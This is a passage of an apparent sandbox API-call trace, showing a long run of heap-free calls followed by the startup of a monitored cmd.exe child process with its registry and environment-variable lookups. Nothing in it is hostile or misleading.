	[0055.986] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0055.986] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0055.986] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0055.986] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0055.986] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0055.986] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0055.987] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0056.121] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0056.176] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1
	[0056.187] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1
	[0056.242] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0056.263] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0056.281] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0056.281] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0056.282] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0056.287] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0056.288] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0056.289] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0056.348] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0056.443] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0056.444] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0056.444] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0056.445] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0056.445] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0056.445] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0056.503] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0056.503] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0056.539] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0056.581] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0056.582] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0056.586] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0056.586] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0056.662] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0056.721] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0056.722] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0056.723] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0056.724] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0056.724] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0056.724] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0056.726] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0056.726] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0056.729] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0056.729] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0056.729] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0056.735] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0056.735] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0056.744] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0056.745] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0056.745] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0056.761] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0056.792] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0056.792] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0058.007] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0058.008] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0058.008] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0058.011] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0058.011] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0058.011] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0058.013] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0058.013] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0058.013] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0058.015] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0058.095] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0058.100] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0058.100] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0058.100] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0058.101] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0058.208] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0058.208] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0058.209] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0058.213] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1
	[0058.213] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1
	[0058.213] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1
	[0058.338] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1
	[0058.339] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0058.339] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0058.339] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0058.340] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0058.342] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0058.344] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0058.344] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0058.345] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0058.351] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0058.353] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0058.354] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0058.355] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0058.355] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0058.893] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0058.893] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0058.894] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0058.899] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0058.932] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0059.730] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0059.730] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0059.731] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0059.731] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0059.732] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0059.732] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0061.082] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1

Process:
	id = "2"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x6f46a000"
	os_pid = "0xe0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0x6cc"
	cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\""
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 3
	os_tid = 0x4a8

	[0040.110] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff710cf0000
	[0040.110] __set_app_type (_Type=0x1) 
	[0040.110] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff710d06d00) returned 0x0
	[0040.110] __getmainargs (in: _Argc=0x7ff710d29200, _Argv=0x7ff710d29208, _Env=0x7ff710d29210, _DoWildCard=0, _StartInfo=0x7ff710d2921c | out: _Argc=0x7ff710d29200, _Argv=0x7ff710d29208, _Env=0x7ff710d29210) returned 0
	[0040.110] _onexit (_Func=0x7ff710d07fd0) returned 0x7ff710d07fd0
	[0040.110] _onexit (_Func=0x7ff710d07fe0) returned 0x7ff710d07fe0
	[0040.110] _onexit (_Func=0x7ff710d07ff0) returned 0x7ff710d07ff0
	[0040.111] _onexit (_Func=0x7ff710d08000) returned 0x7ff710d08000
	[0040.111] _onexit (_Func=0x7ff710d08010) returned 0x7ff710d08010
	[0040.111] _onexit (_Func=0x7ff710d08020) returned 0x7ff710d08020
	[0040.111] GetCurrentThreadId () returned 0x4a8
	[0040.111] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x4a8) returned 0x70
	[0040.111] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000
	[0040.111] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetThreadUILanguage") returned 0x7ff92fdea990
	[0040.111] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0040.123] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0040.123] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xc2d1b0fc48 | out: phkResult=0xc2d1b0fc48*=0x0) returned 0x2
	[0040.123] VirtualQuery (in: lpAddress=0xc2d1b0fc34, lpBuffer=0xc2d1b0fbb0, dwLength=0x30 | out: lpBuffer=0xc2d1b0fbb0*(BaseAddress=0xc2d1b0f000, AllocationBase=0xc2d1a10000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0040.123] VirtualQuery (in: lpAddress=0xc2d1a10000, lpBuffer=0xc2d1b0fbb0, dwLength=0x30 | out: lpBuffer=0xc2d1b0fbb0*(BaseAddress=0xc2d1a10000, AllocationBase=0xc2d1a10000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0040.123] VirtualQuery (in: lpAddress=0xc2d1a11000, lpBuffer=0xc2d1b0fbb0, dwLength=0x30 | out: lpBuffer=0xc2d1b0fbb0*(BaseAddress=0xc2d1a11000, AllocationBase=0xc2d1a10000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0040.123] VirtualQuery (in: lpAddress=0xc2d1a14000, lpBuffer=0xc2d1b0fbb0, dwLength=0x30 | out: lpBuffer=0xc2d1b0fbb0*(BaseAddress=0xc2d1a14000, AllocationBase=0xc2d1a10000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0040.123] VirtualQuery (in: lpAddress=0xc2d1b10000, lpBuffer=0xc2d1b0fbb0, dwLength=0x30 | out: lpBuffer=0xc2d1b0fbb0*(BaseAddress=0xc2d1b10000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0xffffb78a, RegionSize=0xf0000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30
	[0040.123] GetConsoleOutputCP () returned 0x1b5
	[0040.135] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff710d2fbb0 | out: lpCPInfo=0x7ff710d2fbb0) returned 1
	[0040.135] SetConsoleCtrlHandler (HandlerRoutine=0x7ff710d18150, Add=1) returned 1
	[0040.135] _get_osfhandle (_FileHandle=1) returned 0x254
	[0040.135] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff710d2fc04 | out: lpMode=0x7ff710d2fc04) returned 0
	[0040.135] _get_osfhandle (_FileHandle=0) returned 0x248
	[0040.135] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff710d2fc00 | out: lpMode=0x7ff710d2fc00) returned 0
	[0040.135] _get_osfhandle (_FileHandle=1) returned 0x254
	[0040.135] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0040.135] _get_osfhandle (_FileHandle=1) returned 0x254
	[0040.135] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff710d2fc08 | out: lpMode=0x7ff710d2fc08) returned 0
	[0040.135] _get_osfhandle (_FileHandle=0) returned 0x248
	[0040.135] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff710d2fc0c | out: lpMode=0x7ff710d2fc0c) returned 0
	[0040.135] GetEnvironmentStringsW () returned 0x286dddf5a10*
	[0040.136] GetProcessHeap () returned 0x286dddf0000
	[0040.136] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0xa7c) returned 0x286dddf64a0
	[0040.136] FreeEnvironmentStringsA (penv="A") returned 1
	[0040.136] GetProcessHeap () returned 0x286dddf0000
	[0040.136] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0x8) returned 0x286dddf6f30
	[0040.136] GetEnvironmentStringsW () returned 0x286dddf5a10*
	[0040.136] GetProcessHeap () returned 0x286dddf0000
	[0040.136] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0xa7c) returned 0x286dddf6f50
	[0040.136] FreeEnvironmentStringsA (penv="A") returned 1
	[0040.136] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xc2d1b0eaf8 | out: phkResult=0xc2d1b0eaf8*=0x7c) returned 0x0
	[0040.136] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xc2d1b0eaf0, lpData=0xc2d1b0eb10, lpcbData=0xc2d1b0eaf4*=0x1000 | out: lpType=0xc2d1b0eaf0*=0x0, lpData=0xc2d1b0eb10*=0x4, lpcbData=0xc2d1b0eaf4*=0x1000) returned 0x2
	[0040.136] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xc2d1b0eaf0, lpData=0xc2d1b0eb10, lpcbData=0xc2d1b0eaf4*=0x1000 | out: lpType=0xc2d1b0eaf0*=0x4, lpData=0xc2d1b0eb10*=0x1, lpcbData=0xc2d1b0eaf4*=0x4) returned 0x0
	[0040.136] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xc2d1b0eaf0, lpData=0xc2d1b0eb10, lpcbData=0xc2d1b0eaf4*=0x1000 | out: lpType=0xc2d1b0eaf0*=0x0, lpData=0xc2d1b0eb10*=0x1, lpcbData=0xc2d1b0eaf4*=0x1000) returned 0x2
	[0040.136] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xc2d1b0eaf0, lpData=0xc2d1b0eb10, lpcbData=0xc2d1b0eaf4*=0x1000 | out: lpType=0xc2d1b0eaf0*=0x4, lpData=0xc2d1b0eb10*=0x0, lpcbData=0xc2d1b0eaf4*=0x4) returned 0x0
	[0040.136] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xc2d1b0eaf0, lpData=0xc2d1b0eb10, lpcbData=0xc2d1b0eaf4*=0x1000 | out: lpType=0xc2d1b0eaf0*=0x4, lpData=0xc2d1b0eb10*=0x40, lpcbData=0xc2d1b0eaf4*=0x4) returned 0x0
	[0040.136] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xc2d1b0eaf0, lpData=0xc2d1b0eb10, lpcbData=0xc2d1b0eaf4*=0x1000 | out: lpType=0xc2d1b0eaf0*=0x4, lpData=0xc2d1b0eb10*=0x40, lpcbData=0xc2d1b0eaf4*=0x4) returned 0x0
	[0040.136] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xc2d1b0eaf0, lpData=0xc2d1b0eb10, lpcbData=0xc2d1b0eaf4*=0x1000 | out: lpType=0xc2d1b0eaf0*=0x0, lpData=0xc2d1b0eb10*=0x40, lpcbData=0xc2d1b0eaf4*=0x1000) returned 0x2
	[0040.136] RegCloseKey (hKey=0x7c) returned 0x0
	[0040.136] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xc2d1b0eaf8 | out: phkResult=0xc2d1b0eaf8*=0x7c) returned 0x0
	[0040.136] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xc2d1b0eaf0, lpData=0xc2d1b0eb10, lpcbData=0xc2d1b0eaf4*=0x1000 | out: lpType=0xc2d1b0eaf0*=0x0, lpData=0xc2d1b0eb10*=0x40, lpcbData=0xc2d1b0eaf4*=0x1000) returned 0x2
	[0040.136] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xc2d1b0eaf0, lpData=0xc2d1b0eb10, lpcbData=0xc2d1b0eaf4*=0x1000 | out: lpType=0xc2d1b0eaf0*=0x4, lpData=0xc2d1b0eb10*=0x1, lpcbData=0xc2d1b0eaf4*=0x4) returned 0x0
	[0040.136] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xc2d1b0eaf0, lpData=0xc2d1b0eb10, lpcbData=0xc2d1b0eaf4*=0x1000 | out: lpType=0xc2d1b0eaf0*=0x0, lpData=0xc2d1b0eb10*=0x1, lpcbData=0xc2d1b0eaf4*=0x1000) returned 0x2
	[0040.136] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xc2d1b0eaf0, lpData=0xc2d1b0eb10, lpcbData=0xc2d1b0eaf4*=0x1000 | out: lpType=0xc2d1b0eaf0*=0x4, lpData=0xc2d1b0eb10*=0x0, lpcbData=0xc2d1b0eaf4*=0x4) returned 0x0
	[0040.136] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xc2d1b0eaf0, lpData=0xc2d1b0eb10, lpcbData=0xc2d1b0eaf4*=0x1000 | out: lpType=0xc2d1b0eaf0*=0x4, lpData=0xc2d1b0eb10*=0x9, lpcbData=0xc2d1b0eaf4*=0x4) returned 0x0
	[0040.136] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xc2d1b0eaf0, lpData=0xc2d1b0eb10, lpcbData=0xc2d1b0eaf4*=0x1000 | out: lpType=0xc2d1b0eaf0*=0x4, lpData=0xc2d1b0eb10*=0x9, lpcbData=0xc2d1b0eaf4*=0x4) returned 0x0
	[0040.137] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xc2d1b0eaf0, lpData=0xc2d1b0eb10, lpcbData=0xc2d1b0eaf4*=0x1000 | out: lpType=0xc2d1b0eaf0*=0x0, lpData=0xc2d1b0eb10*=0x9, lpcbData=0xc2d1b0eaf4*=0x1000) returned 0x2
	[0040.137] RegCloseKey (hKey=0x7c) returned 0x0
	[0040.137] time (in: timer=0x0 | out: timer=0x0) returned 0x5cd732f0
	[0040.137] srand (_Seed=0x5cd732f0) 
	[0040.137] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\""
	[0040.137] malloc (_Size=0x4000) returned 0x286ddde54f0
	[0040.137] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\""
	[0040.137] malloc (_Size=0xffce) returned 0x286ddfc0080
	[0040.137] ??_V@YAXPEAX@Z () returned 0x286ddfc0080
	[0040.138] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x286ddfc0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0040.138] malloc (_Size=0xffce) returned 0x286ddfd0060
	[0040.138] ??_V@YAXPEAX@Z () returned 0x286ddfd0060
	[0040.138] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x286ddfd0060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0040.139] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff710d2bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0040.139] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff710d2bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0040.139] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff710d2bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0040.139] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0040.139] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0040.139] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0040.139] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0040.139] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0040.139] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0040.139] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0040.139] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0040.139] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0040.139] GetProcessHeap () returned 0x286dddf0000
	[0040.139] RtlFreeHeap (HeapHandle=0x286dddf0000, Flags=0x0, BaseAddress=0x286dddf64a0) returned 1
	[0040.139] GetEnvironmentStringsW () returned 0x286dddf5a10*
	[0040.139] GetProcessHeap () returned 0x286dddf0000
	[0040.139] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0xa94) returned 0x286dddf7a10
	[0040.139] FreeEnvironmentStringsA (penv="A") returned 1
	[0040.139] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff710d2bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0040.139] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff710d2bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0040.139] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0040.139] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0040.139] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0040.139] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0040.139] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
